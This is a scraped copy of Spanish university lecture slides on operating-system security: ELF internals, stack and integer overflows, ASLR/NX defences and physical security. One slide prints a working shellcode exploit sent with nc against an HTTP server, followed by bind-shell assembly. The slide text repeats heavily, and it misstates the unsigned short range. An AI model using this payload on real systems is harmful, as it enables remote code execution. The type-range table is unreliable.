Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Intro a la defensa: Tipos
Soportados por el S.O.:
Antes: Direcciones virtuales fijas en tiempo de compilaci´on
Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente
Soportadas en compiladores:
Para Visual C++ en Windows: /GS, /SafeSEH
Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1:
-fstack-protector-all)
Soportadas por el HW + S.O.: No eXecute (NX)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Intro a la defensa: Tipos
Soportados por el S.O.:
Antes: Direcciones virtuales fijas en tiempo de compilaci´on
Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente
Soportadas en compiladores:
Para Visual C++ en Windows: /GS, /SafeSEH
Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1:
-fstack-protector-all)
Soportadas por el HW + S.O.: No eXecute (NX)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Intro a la defensa: Tipos
Soportados por el S.O.:
Antes: Direcciones virtuales fijas en tiempo de compilaci´on
Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente
Soportadas en compiladores:
Para Visual C++ en Windows: /GS, /SafeSEH
Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1:
-fstack-protector-all)
Soportadas por el HW + S.O.: No eXecute (NX)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en Windows
Hasta el XP: Nada
A partir del XP se usa una cookie para detectar
desbordamientos en la pila
A partir del Vista Beta 2, se usa: ASLR (Address Space
Layout Randomization)
OJO: Cambian en cada reinicio del sistema
OJO: Rango de margen: 256 bytes
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en Windows
Hasta el XP: Nada
A partir del XP se usa una cookie para detectar
desbordamientos en la pila
A partir del Vista Beta 2, se usa: ASLR (Address Space
Layout Randomization)
OJO: Cambian en cada reinicio del sistema
OJO: Rango de margen: 256 bytes
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en Windows
Hasta el XP: Nada
A partir del XP se usa una cookie para detectar
desbordamientos en la pila
A partir del Vista Beta 2, se usa: ASLR (Address Space
Layout Randomization)
OJO: Cambian en cada reinicio del sistema
OJO: Rango de margen: 256 bytes
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en Windows
Hasta el XP: Nada
A partir del XP se usa una cookie para detectar
desbordamientos en la pila
A partir del Vista Beta 2, se usa: ASLR (Address Space
Layout Randomization)
OJO: Cambian en cada reinicio del sistema
OJO: Rango de margen: 256 bytes
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en GNU/Linux
En la versi´on 2.6.11 se introduce VA Space Randomization
Cambian las direcciones del ejecutable y las librer´ıas din´amicas
vinculadas en cada carga del programa
Rango de margen: 8 MB
En la versi´on 2.6.25 se introduce la aleatorizaci´on de
direcciones virtuales del mont´ıculo (“heap”)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en GNU/Linux
En la versi´on 2.6.11 se introduce VA Space Randomization
Cambian las direcciones del ejecutable y las librer´ıas din´amicas
vinculadas en cada carga del programa
Rango de margen: 8 MB
En la versi´on 2.6.25 se introduce la aleatorizaci´on de
direcciones virtuales del mont´ıculo (“heap”)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en GNU/Linux
En la versi´on 2.6.11 se introduce VA Space Randomization
Cambian las direcciones del ejecutable y las librer´ıas din´amicas
vinculadas en cada carga del programa
Rango de margen: 8 MB
En la versi´on 2.6.25 se introduce la aleatorizaci´on de
direcciones virtuales del mont´ıculo (“heap”)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Desbordamientos de enteros
“Integer Overflow”
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Tipos num´ericos y su rango en C
(Signed) char [-128, 127]
Unsigned char [0, 255]
(Signed short) [-32768, 32767]
Unsigned short [0, 4294967295]
(Signed) integer [-2147483648, 2147483647]
Unsigned integer [0, 4294967295]
OJO integer = long en CPU de 32 bits!
(Signed) long long [-9223372036854775808,
9223372036854775807]
Unsigned long long [0, 18446744073709551615]
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Tipos num´ericos y su rango en C
(Signed) char [-128, 127]
Unsigned char [0, 255]
(Signed short) [-32768, 32767]
Unsigned short [0, 4294967295]
(Signed) integer [-2147483648, 2147483647]
Unsigned integer [0, 4294967295]
OJO integer = long en CPU de 32 bits!
(Signed) long long [-9223372036854775808,
9223372036854775807]
Unsigned long long [0, 18446744073709551615]
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Tipos num´ericos y su rango en C
(Signed) char [-128, 127]
Unsigned char [0, 255]
(Signed short) [-32768, 32767]
Unsigned short [0, 4294967295]
(Signed) integer [-2147483648, 2147483647]
Unsigned integer [0, 4294967295]
OJO integer = long en CPU de 32 bits!
(Signed) long long [-9223372036854775808,
9223372036854775807]
Unsigned long long [0, 18446744073709551615]
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Ejemplo
long long max_quota= 2147483647+1; // Overflow?
int current_quota= get_quota(user); // Overflow?
if (current_quota > max_quota) {
printf(‘‘Quota exceeded.‘‘);
_exit(0);
}
Vpopmail/QmailAdmin:
http://www.sofistic.net/es/advisories/0901
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Ejemplo
long long max_quota= 2147483647+1; // Overflow?
int current_quota= get_quota(user); // Overflow?
if (current_quota > max_quota) {
printf(‘‘Quota exceeded.‘‘);
_exit(0);
}
Vpopmail/QmailAdmin:
http://www.sofistic.net/es/advisories/0901
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad F´ısica
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el entorno: Keyloggers
$54.95
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el entorno: Keyloggers
$89.99
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el entorno: Efecto Tempest
Fuente: http://www.cl.cam.ac.uk/ mgk25/pet2004-fpd.pdf
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el sistema: Cifrado de datos/particiones
OpenSSL
LUKS
TrueCrypt
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
$ kill -9 $$
Jacobo Avariento Seguridad en Sistemas Operativos

Más contenido relacionado

PPT
ELF en la mira: Hacking y Defensa
PPT
Abel Valero - VM + VFS = The Wooden Horse [rooted2018]
PDF
Pablo González - Jugando a lo Super Mario entre túneles y máquinas [rooted2018]
PDF
Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]
PDF
Lorenzo Martínez - Linux DFIR: My Way! [rooted2019]
PPTX
Eduardo Blázquez - Técnicas de Ingeniería Inversa I & II [rooted2018]
PPTX
Mario Guerra - Buceando en Windows 10. Extrayendo artefactos forenses de las ...
PDF
Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]
ELF en la mira: Hacking y Defensa
Abel Valero - VM + VFS = The Wooden Horse [rooted2018]
Pablo González - Jugando a lo Super Mario entre túneles y máquinas [rooted2018]
Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]
Lorenzo Martínez - Linux DFIR: My Way! [rooted2019]
Eduardo Blázquez - Técnicas de Ingeniería Inversa I & II [rooted2018]
Mario Guerra - Buceando en Windows 10. Extrayendo artefactos forenses de las ...
Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]

La actualidad más candente (19)

PPTX
Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]
PDF
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...
PPTX
David Reguera & Yago Jesus - Rootkit Busters ES [rooted2019]
PDF
Gestión Remota de Equipos con Python
PDF
Curso linux clase_2_2012
PDF
Clase no5 acceso
PDF
Kali linux guia español
PPT
Joaquín Moreno Garijo – Forense a bajo nivel en Mac OS X [Rooted CON 2014]
PDF
introduccion linux
PDF
Presentacion re y_des_09072003
PDF
Extendiendo la seguridad en Elastix con Snort IDS/IPS
PDF
David López Paz - Global Warfare [RootedCON 2011]
PDF
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
ODP
Tecnologías libres para túneles y VPNs
PPTX
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
PDF
Antonio López & Javier Medina - FuckWALL - Bypassing firewalls [RootedCON 2010]
DOCX
Diferentes tipos de socket y slot para conectar el procesador a la placa base
PDF
Firewall y nat
Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...
David Reguera & Yago Jesus - Rootkit Busters ES [rooted2019]
Gestión Remota de Equipos con Python
Curso linux clase_2_2012
Clase no5 acceso
Kali linux guia español
Joaquín Moreno Garijo – Forense a bajo nivel en Mac OS X [Rooted CON 2014]
introduccion linux
Presentacion re y_des_09072003
Extendiendo la seguridad en Elastix con Snort IDS/IPS
David López Paz - Global Warfare [RootedCON 2011]
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
Tecnologías libres para túneles y VPNs
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Antonio López & Javier Medina - FuckWALL - Bypassing firewalls [RootedCON 2010]
Diferentes tipos de socket y slot para conectar el procesador a la placa base
Firewall y nat
Publicidad

Similar a Seguridad so pi_2011 (20)

PDF
Seguridad so pii_2011
PDF
Juan Oliva - Seguridad Preventiva y Reactiva en VoIP
PPT
Evasión de Técnicas Forenses
PDF
Linux Kernel - System Calls - Modules - Drivers
PPTX
Metasploit - Bypass UAC fodhelper [Post-explotación]
PPT
Analaisis de malwatre trickbot - mp alonso
PPSX
PDF
Introducción a Kali Linux
PDF
Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...
PDF
Construyendo rootkits basicos
PDF
Extendiendo la Seguridad de Elastix con Snort
PPT
CAPITULO-2-2011
PPTX
Presentacion eduin gonzalez
PDF
Caso de estudio No.1: Heartbleed y Shellshock
PDF
Webinar Gratuito: Analisis Forense a Linux
ODP
Introducción al cracking en GNU/Linux
DOCX
Cómo crear tus propios drivers para linux
ODP
Curso Linux Reducido
ODP
Presentacion de Linux
ODP
Opensolaris flisol
Seguridad so pii_2011
Juan Oliva - Seguridad Preventiva y Reactiva en VoIP
Evasión de Técnicas Forenses
Linux Kernel - System Calls - Modules - Drivers
Metasploit - Bypass UAC fodhelper [Post-explotación]
Analaisis de malwatre trickbot - mp alonso
Introducción a Kali Linux
Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...
Construyendo rootkits basicos
Extendiendo la Seguridad de Elastix con Snort
CAPITULO-2-2011
Presentacion eduin gonzalez
Caso de estudio No.1: Heartbleed y Shellshock
Webinar Gratuito: Analisis Forense a Linux
Introducción al cracking en GNU/Linux
Cómo crear tus propios drivers para linux
Curso Linux Reducido
Presentacion de Linux
Opensolaris flisol
Publicidad

Último (20)

PPTX
Propuesta BKP servidores con Acronis1.pptx
PDF
Teoría de estadística descriptiva y aplicaciones .pdf
PDF
ADMINISTRACIÓN DE ARCHIVOS - TICS (SENA).pdf
PDF
Diapositiva proyecto de vida, materia catedra
PDF
capacitación de aire acondicionado Bgh r 410
PDF
0007_PPT_DefinicionesDeDataMining_201_v1-0.pdf
PPTX
ccna: redes de nat ipv4 stharlling cande
PDF
informe_fichas1y2_corregido.docx (2) (1).pdf
PPTX
la-historia-de-la-medicina Edna Silva.pptx
DOCX
TRABAJO GRUPAL (5) (1).docxsjjsjsksksksksk
PPTX
CLAASIFICACIÓN DE LOS ROBOTS POR UTILIDAD
DOCX
Trabajo informatica joel torres 10-.....................
PPTX
Presentacion de Alba Curso Auditores Internos ISO 19011
DOCX
Guía 5. Test de orientación Vocacional 2.docx
DOCX
Trabajo grupal.docxjsjsjsksjsjsskksjsjsjsj
PDF
Documental Beyond the Code (Dossier Presentación - 2.0)
PPTX
Diapositivas Borrador Rocha Jauregui David Paolo (3).pptx
PPTX
Uso responsable de la tecnología - EEST N°1
PPTX
modulo seguimiento 1 para iniciantes del
PPTX
ccna: redes de nat ipv4 stharlling cande
Propuesta BKP servidores con Acronis1.pptx
Teoría de estadística descriptiva y aplicaciones .pdf
ADMINISTRACIÓN DE ARCHIVOS - TICS (SENA).pdf
Diapositiva proyecto de vida, materia catedra
capacitación de aire acondicionado Bgh r 410
0007_PPT_DefinicionesDeDataMining_201_v1-0.pdf
ccna: redes de nat ipv4 stharlling cande
informe_fichas1y2_corregido.docx (2) (1).pdf
la-historia-de-la-medicina Edna Silva.pptx
TRABAJO GRUPAL (5) (1).docxsjjsjsksksksksk
CLAASIFICACIÓN DE LOS ROBOTS POR UTILIDAD
Trabajo informatica joel torres 10-.....................
Presentacion de Alba Curso Auditores Internos ISO 19011
Guía 5. Test de orientación Vocacional 2.docx
Trabajo grupal.docxjsjsjsksjsjsskksjsjsjsj
Documental Beyond the Code (Dossier Presentación - 2.0)
Diapositivas Borrador Rocha Jauregui David Paolo (3).pptx
Uso responsable de la tecnología - EEST N°1
modulo seguimiento 1 para iniciantes del
ccna: redes de nat ipv4 stharlling cande

Seguridad so pi_2011

  • 1. Seguridad en Sistemas Operativos Ataque y Defensa Jacobo Avariento Gimeno jacobo@sofistic.net 15 de junio de 2011 Universitat Jaume I
  • 3. 1 Intro 2 Breve repaso al S.O. GNU/Linux Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on 3 Ataques a ficheros ejecutables Llamadas al sistema Accediendo a la memoria 4 Desbordamientos de pila Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa 5 Desbordamientos de enteros 6 Seguridad f´ısica
  • 4. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Vulnerabilidad, Exploit, POC echo -ne "GET /kung/ldap://localhost/‘perl -e ’print "%90"x128’‘%89%e6 %31%c0%31%db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3 %01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04 %31%c0%89%46%10%b0%10%89%46%08%b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66 %b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31 %c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8 %23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76 %08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db %cd%80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC %77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1rn Host: $hostrnrn" | nc $host 80 Source: http://ciberjacobo.com/sec/mod rewrite.html Jacobo Avariento Seguridad en Sistemas Operativos
  • 5. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Code .section .text .globl _start _start: mov %esp,%esi xorl %eax,%eax xorl %ebx,%ebx movl %esi,%ecx Code cont’d movl %eax,(%esi) movb $0x2,%al movw %ax,0xc(%esi) movb $0x77,%al # 0x77 = port 30464 movw %ax,0xe(%esi) leal 0xc(%esi),%eax movl %eax,0x4(%esi) xorl %eax,%eax movl %eax,0x10(%esi) movb $0x10,%al movl %eax,0x8(%esi) movb $0x66,%al movb $0x2,%bl int $0x80 movb $0x1,%al movl %eax,0x4(%esi) movb $0x66,%al movb $0x4,%bl int $0x80 xorl %eax,%eax movl %eax,0x4(%esi) movl %eax,0x8(%esi) movb $0x66,%al movb $0x5,%bl int $0x80 movb %al,%bl movb $0x3f,%al xorl %ecx,%ecxJacobo Avariento Seguridad en Sistemas Operativos
  • 6. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Disclosure timeline & jargon 1 Eureka! 2 Notificar + POC 3 Solucionar, release patch, actualizar 4 Publicar vulnerabilidad/exploit/POC (bugtraq) Cuando NO: 0-day / exploit-in-the-wild Jacobo Avariento Seguridad en Sistemas Operativos
  • 7. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Disclosure timeline & jargon 1 Eureka! 2 Notificar + POC 3 Solucionar, release patch, actualizar 4 Publicar vulnerabilidad/exploit/POC (bugtraq) Cuando NO: 0-day / exploit-in-the-wild Jacobo Avariento Seguridad en Sistemas Operativos
  • 8. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Disclosure timeline & jargon 1 Eureka! 2 Notificar + POC 3 Solucionar, release patch, actualizar 4 Publicar vulnerabilidad/exploit/POC (bugtraq) Cuando NO: 0-day / exploit-in-the-wild Jacobo Avariento Seguridad en Sistemas Operativos
  • 9. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Disclosure timeline & jargon 1 Eureka! 2 Notificar + POC 3 Solucionar, release patch, actualizar 4 Publicar vulnerabilidad/exploit/POC (bugtraq) Cuando NO: 0-day / exploit-in-the-wild Jacobo Avariento Seguridad en Sistemas Operativos
  • 10. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Disclosure timeline & jargon 1 Eureka! 2 Notificar + POC 3 Solucionar, release patch, actualizar 4 Publicar vulnerabilidad/exploit/POC (bugtraq) Cuando NO: 0-day / exploit-in-the-wild Jacobo Avariento Seguridad en Sistemas Operativos
  • 11. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Disclosure timeline & jargon 1 Eureka! 2 Notificar + POC 3 Solucionar, release patch, actualizar 4 Publicar vulnerabilidad/exploit/POC (bugtraq) Cuando NO: 0-day / exploit-in-the-wild Jacobo Avariento Seguridad en Sistemas Operativos
  • 12. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Breve repaso al S.O. GNU/Linux Jacobo Avariento Seguridad en Sistemas Operativos
  • 13. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Intro Proceso: Programa en memoria Programas en GNU/Linux: Formato ELF ELF: Executable and Linking Format Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc -shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc -o), . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 14. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Intro Proceso: Programa en memoria Programas en GNU/Linux: Formato ELF ELF: Executable and Linking Format Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc -shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc -o), . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 15. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Intro Proceso: Programa en memoria Programas en GNU/Linux: Formato ELF ELF: Executable and Linking Format Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc -shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc -o), . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 16. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Intro Proceso: Programa en memoria Programas en GNU/Linux: Formato ELF ELF: Executable and Linking Format Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc -shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc -o), . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 17. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Secciones de un fichero ELF .text: C´odigo m´aquina .rel.text: “Relocated Text“ .data: Variables globales inicializadas .bss: Variables globales no inicializadas (“Block started by Symbol”) .rodata: Datos de solo lectura, por ej.: cadenas, constantes. . . .interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el enlazador din´amico (“dynamic loader”) .plt: Tabla con las direcciones a las funciones de una librer´ıa din´amica .got: (“Global Offset Table“) Punteros a las variables globales Jacobo Avariento Seguridad en Sistemas Operativos
  • 18. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Secciones de un fichero ELF .text: C´odigo m´aquina .rel.text: “Relocated Text“ .data: Variables globales inicializadas .bss: Variables globales no inicializadas (“Block started by Symbol”) .rodata: Datos de solo lectura, por ej.: cadenas, constantes. . . .interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el enlazador din´amico (“dynamic loader”) .plt: Tabla con las direcciones a las funciones de una librer´ıa din´amica .got: (“Global Offset Table“) Punteros a las variables globales Jacobo Avariento Seguridad en Sistemas Operativos
  • 19. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Secciones de un fichero ELF .text: C´odigo m´aquina .rel.text: “Relocated Text“ .data: Variables globales inicializadas .bss: Variables globales no inicializadas (“Block started by Symbol”) .rodata: Datos de solo lectura, por ej.: cadenas, constantes. . . .interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el enlazador din´amico (“dynamic loader”) .plt: Tabla con las direcciones a las funciones de una librer´ıa din´amica .got: (“Global Offset Table“) Punteros a las variables globales Jacobo Avariento Seguridad en Sistemas Operativos
  • 20. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Herramientas de an´alisis $ /usr/bin/readelf -S programa Muestra las secciones Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1 ... $ /usr/sbin/readelf -r programa Muestra la GOT $ cat /proc/< PID >/maps 08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash 080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash 080ce000-080d4000 rwxp 080ce000 00:00 0 087be000-08821000 rwxp 087be000 00:00 0 [heap] ... Jacobo Avariento Seguridad en Sistemas Operativos
